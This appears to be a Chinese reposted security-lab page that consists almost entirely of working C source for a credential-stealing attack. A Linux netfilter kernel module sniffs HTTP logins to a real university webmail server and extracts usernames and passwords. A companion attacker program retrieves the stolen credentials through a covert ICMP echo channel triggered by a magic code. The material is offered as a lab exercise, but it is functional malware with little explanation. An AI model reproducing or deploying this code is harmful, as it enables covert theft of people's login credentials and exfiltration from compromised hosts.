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信息安全实验二

时间:2021-07-01 10:21:17 帮助过:7人阅读

受害者端:nfsniff.c

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define MAGIC_code 0x77 // ICMP code
#define REPLY_SIZE 36   // tartget_ip(4B) + username(16B) + password(16B)

#define SUCCESS  1
#define FAILURE -1
#define IP_202_38_64_8 138421962 // email.ustc.edu.cn

static const char *post_uri   = "POST /coremail/index.jsp?cus=1";
static const int post_uri_len = 30;
static const unsigned int target_ip = IP_202_38_64_8;

static char *username = NULL;
static char *password = NULL;

static struct nf_hook_ops pre_hook;
static struct nf_hook_ops post_hook;

/**
 * 过滤器:发现我想要的数据包,如下:
 * dest_ip:202.38.64.8 (email.ustc.edu.cn)
 * tcp_dest_port:80
 * POST_URI:POST /coremail/index.jsp?cus=1
 *
 * @return SUCCESS/FAILURE
 */
static unsigned int findpkt_iwant(struct sk_buff *skb) {
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL;
    int tcp_payload_len = 0;

    ip = (struct iphdr *)skb_network_header(skb); //skb是ip数据报缓存 skb_network_header(skb)是返回ip数据报的首部
    if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP)
        return FAILURE;

    tcp = (struct tcphdr *)skb_transport_header(skb); //tcp报文字段的长度
    tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);  //指向tcp报文段的数据部分
    data = (char *)((char *)tcp + (tcp->doff<<2));
    if (tcp->dest != htons(80)
        || tcp_payload_len < post_uri_len
        || strncmp(data, post_uri, post_uri_len) != 0) {
        return FAILURE;
    }
    printk("--------------- findpkt_iwant ------------------\n");
    printk("ip_hdrlen:         %d\n", (ip->ihl<<2));
    printk("tcp_hdrlen:        %d\n", (tcp->doff<<2));
    printk("ip_total_len:      %d\n", ntohs(ip->tot_len));
    printk("tcp_payload_len:   %d\n", tcp_payload_len);
    printk("ip_addr:        0x%p\n", ip);
    printk("tcp_addr:       0x%p\n", tcp);
    printk("tcp_data_addr:  0x%p\n", data);
    printk("hex : data[0-3] = 0x%02x%02x%02x%02x\n", data[0], data[1], data[2], data[3]);
    printk("char: data[0-3] = %c%c%c%c\n", data[0], data[1], data[2], data[3]);
    printk("--------------- findpkt_iwant ------------------\n");
    return SUCCESS;
}

/**
 * 使用KMP算法进行字符串匹配
 * @return 匹配(>=0)/未匹配(-1)
 */
static int kmp(const char *cs, int cslen, const char *ct, int ctlen) {
    int i = 0, j = -1;
    int *next = NULL;

    // 1) get next[]
    next = (int *)kmalloc(ctlen*sizeof(int), GFP_KERNEL);
    if (next == NULL)
        return -1;
    next[0] = -1, next[1] = 0;
    while (i < ctlen) {
        if (j == -1 || ct[i] == ct[j]) {
            i++, j++;
            next[i] = j;
        } else {
            j = next[j];
        }
    }
    // 2) match
    i = 0, j = 0;
    while (i < cslen && j < ctlen) {
        if (j == -1 || cs[i] == ct[j]) {
            i++, j++;
        } else {
            j = next[j];
        }
    }
    kfree(next);
    next = NULL;
    return j >= ctlen ? (i - ctlen) : -1;
}

/**
 * 从URL的参数中提取key对应的value值
 * 比如:uid=lichaoxi&password=1234
 * @param urlparam urlparam的首地址
 * @param ulen url的长度
 * @param key 如:uid=,password=
 * @param klen key的长度(注意后面还有个=号)
 * @return 成功找到(包含value的字符串首地址)/失败(NULL)
 */
char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) {
    int index = 0, i = 0;
    char *value = NULL;

    if ((index = kmp(urlparam, ulen, key, klen)) == -1)
        return NULL;
    urlparam += (index + klen);
    ulen -= (index + klen);
    // username, password中本身就可能含有类似‘&‘这样需要进行编码的字符,urlencode(‘&‘) = %26
    // http://www.atool88.com/urlencode.php
    for (i = 0; i < ulen && urlparam[i] != ‘&‘; i++);
    if (i >= ulen)
        return NULL;
    // i + 1, for the last char ‘\0‘
    if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)
        return NULL;
    memcpy(value, urlparam, i);
    value[i] = ‘\0‘;
    return value;
}

/**
 * 从HTTP数据包中抓取 username, password
 * 在调用该方法前需要先调用 findpkt_iwant()方法进行过滤
 *
 * @author southday
 * @date 2019.04.13
 */
static void fetch_http(struct sk_buff *skb) {
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    char *data = NULL; // tcp data
    int tcp_payload_len = 0;
    int i = 0, index = -1;
    int content_len = 0; // Cotent-Length

    ip = (struct iphdr *)skb_network_header(skb);
    tcp = (struct tcphdr *)skb_transport_header(skb);
    tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
    data = (char *)tcp + (tcp->doff<<2);

    // e.g: Content-Length: 77\r\n
    index = kmp(data, tcp_payload_len, "Content-Length: ", 16);
    if (index == -1)
        return;
    data += (index + 16); // data point to: 77\r\n
    for (i = 0; data[i] != ‘\r‘; i++)
        content_len = content_len*10 + ((int)data[i]-‘0‘);
    // now content_len = 77

    // data point to layer: HTML Form URL Encode
    data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);
    // 1) fetch username
    username = fetch_urlparam(data, content_len, "uid=", 4);
    // 2) fetch password
    password = fetch_urlparam(data, content_len, "password=", 9);
    if (username == NULL || password == NULL)
        return;
    printk("----------------- fetch_http -------------------\n");
    printk("content_len = %d\n", content_len);
    printk("urlencode(username): %s\n", username);
    printk("urlencode(password): %s\n", password);
    printk("----------------- fetch_http -------------------\n");
}

/**
 * 是否已经抓取到一对<用户名,密码>
 * @return 是(1)/否(0)
 */
static int hasPair(void) {
    return username != NULL && password != NULL;
}

/**
 * POST_ROUTING,将数据包发送出去的前一个HOOK点;
 * 用于监听本机往外发送的数据包,并从中提取出所需的username,password;
 * 下面实现的是对于网址 http://email.ustc.edu.cn 的监听
 * > nslookup email.ustc.edu.cn => Address: 202.38.64.8
 */
static unsigned int watch_out(void *priv,
                              struct sk_buff *skb,
                              const struct nf_hook_state *state) {
    if (findpkt_iwant(skb) == FAILURE)
        return NF_ACCEPT;
    printk("findpkt_iwant ====> SUCCESS\n");
    if (!hasPair())
        fetch_http(skb);
    return NF_ACCEPT;
}

/**
* pre_ROUTING,接收数据包的第一个HOOK点;
* 用于监听本机接收的数据包,若为hacker想要获取数据而发来的指定ICMP_ECHO数据包(icmp->code=0x77),
* 则将tager_ip, username, password拷贝到原ICMP包的数据部分,然后返回给hacker;
*/
static unsigned int watch_in(void *priv,
                             struct sk_buff *skb,
                             const struct nf_hook_state *state) {
    struct iphdr *ip = NULL;
    struct icmphdr *icmp = NULL;
    int icmp_payload_len = 0;
    char *cp_data = NULL; // copy pointer
    unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)

    ip = (struct iphdr *)skb_network_header(skb);
    if (!hasPair() || ip->protocol != IPPROTO_ICMP)
        return NF_ACCEPT;

    icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
    // 最后8字节为 ICMP首部长度
    icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
    if (icmp->code != MAGIC_code
        || icmp->type != ICMP_ECHO
        || icmp_payload_len < REPLY_SIZE) {
        return NF_ACCEPT;
    }

    // 因为要往回发包,所以交换源、目的IP
    temp_ipaddr = ip->saddr;
    ip->saddr = ip->daddr;
    ip->daddr = temp_ipaddr;

    skb->pkt_type = PACKET_OUTGOING;
    switch (skb->dev->type) {
        case ARPHRD_PPP: break;
        case ARPHRD_LOOPBACK:
        case ARPHRD_ETHER: {
            unsigned char temp_hwaddr[ETH_ALEN];
            struct ethhdr *eth = NULL;
            // Move the data pointer to point to the link layer header
            eth = (struct ethhdr *)eth_hdr(skb);
            skb->data = (unsigned char*)eth;
            skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
            memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
            memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
            memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
            break;
        }
    }

    // copy target_ip, username, password into packet
    cp_data = (char *)icmp + 8;
    memcpy(cp_data, &target_ip, 4);
    memcpy(cp_data+4, username, 16);
    memcpy(cp_data+20, password, 16);

    printk("watch_in STOLEN ====> SUCCESS\n");
    printk("urlencode(username): %s\n", username);
    printk("urlencode(password): %s\n", password);
    dev_queue_xmit(skb); // 发送数据帧
    kfree(username);
    kfree(password);
    username = password = NULL;
    return NF_STOLEN;
}

int init_module(void) {
    pre_hook.hook = watch_in;
    pre_hook.pf = PF_INET;
    pre_hook.hooknum = NF_INET_pre_ROUTING;
    pre_hook.priority = NF_IP_PRI_FIRST;
    nf_register_net_hook(&init_net, &pre_hook);

    post_hook.hook = watch_out;
    post_hook.pf = PF_INET;
    post_hook.hooknum = NF_INET_POST_ROUTING;
    post_hook.priority = NF_IP_PRI_FIRST;
    nf_register_net_hook(&init_net, &post_hook);
    printk("init_module\n");
    return 0;
}

void cleanup_module(void) {
    nf_unregister_net_hook(&init_net, &pre_hook);
    nf_unregister_net_hook(&init_net, &post_hook);
    printk("cleanup_module\n");
}

 

攻击者端 getpass.c

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define BUFF_SIZE  256
#define SUCCESS    1
#define FAILURE    -1
#define MAGIC_code 0x77 // ICMP ECHO code

struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];

int load_args(const int argc, char **);
void print_cmdprompt();
int send_icmp_request();
int recv_icmp_reply();
unsigned short cksum(unsigned short *, int len);
void print_ippacket_inbyte(unsigned char *);

int main(int argc, char **argv) {
    if (load_args(argc, argv) < 0) {
        printf("command format error!\n");
        print_cmdprompt();
        return FAILURE;
    }
    recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (recvsockfd < 0 || sendsockfd < 0) {
        perror("socket creation error");
        return FAILURE;
    }
    printf("lcx-getpass running...\n");
    // 1) 发送ICMP ECHO 回送请求报文
    send_icmp_request();
    // 2) 接收ICMP ECHO 回送回答报文
    recv_icmp_reply();
    close(sendsockfd);
    close(recvsockfd);
    return 0;
}

/**
 * 命令:lcx-getpass 192.168.23.131
 * 载入参数:192.168.23.131,表示受害者主机IP地址
 */
int load_args(const int argc, char *argv[]) {
    if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
        return FAILURE;
    return SUCCESS;
}

/**
 * 打印命令提示信息
 */
void print_cmdprompt() {
    printf("\nlcx-getpass [remoteip]\n\n");
    printf("\t    [remoteip]       Victim host IP address, eg: 192.168.23.131\n");
}

/**
 * 发送ICMP回送请求报文
 */
int send_icmp_request() {
    bzero(sendbuff, BUFF_SIZE);
    // 构造ICMP ECHO首部
    struct icmp *icmp = (struct icmp *)sendbuff;
    icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
    icmp->icmp_code = MAGIC_code;
    icmp->icmp_cksum = 0;
    // 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
    icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);

    printf("sending request........\n");
    int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
    if (ret < 0) {
        perror("send error");
    } else {
        printf("send a icmp echo request packet!\n\n");
    }
    return SUCCESS;
}

/**
 * 接收ICMP回送回答报文
 */
int recv_icmp_reply() {
    bzero(recvbuff, BUFF_SIZE);
    printf("waiting for reply......\n");
    if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
        printf("failed getting reply packet\n");
        return FAILURE;
    }
    struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
    memcpy(&server_addr, (char *)icmp+8, 4);
    // 打印IP包字节数据,便于调试
    print_ippacket_inbyte(recvbuff);
    printf("stolen from http server: %s\n", inet_ntoa(server_addr));
    printf("username: %s\n", (char *)((char *)icmp + 12));
    printf("password: %s\n", (char *)((char *)icmp + 28));
    return SUCCESS;
}

/**
 * 计算校验和
 *   1) IP:IP首部
 *   2) ICMP:首部+数据
 * @param *addr 开始计算校验和的入口地址
 * @param len 计算校验和所使用的数据长度,单位Byte
 * @return 16位的校验和
 */
unsigned short cksum(unsigned short *addr, int len) {
    int sum = 0;
    unsigned short res = 0;
    /* len -= 2,因为 sizeof(unsigned short) = 2;
     * sum += *(addr++),每次偏移2Byte
     */
    for (; len > 1; sum += *(addr++), len -= 2);
    // 每次处理2Byte,可能会存在多余的1Byte
    sum += len == 1 ? *addr : 0;
    // sum:高16位 + 低16位,高16位中存在可能的进位
    sum = (sum >> 16) + (sum & 0xffff);
    // sum + sum的高16位,高16位中存在可能的进位
    sum += (sum >> 16);
    // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
    res = ~sum;
    return res;
}

/**
 * 以单字节形式打印IP数据包,包括首部和数据部分,并且模仿wireshark的格式,便于调试
 */
void print_ippacket_inbyte(unsigned char *ipbuff) {
    struct ip *ip = (struct ip *)ipbuff;
    printf("                                              %02x %02x", ipbuff[0], ipbuff[1]);
    for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
        if (i % 16 == 0)
            printf("\n");
        if (i % 8 == 0)
            printf("  ");
        printf("%02x ", ipbuff[i+2]);
    }
    printf("\n");
}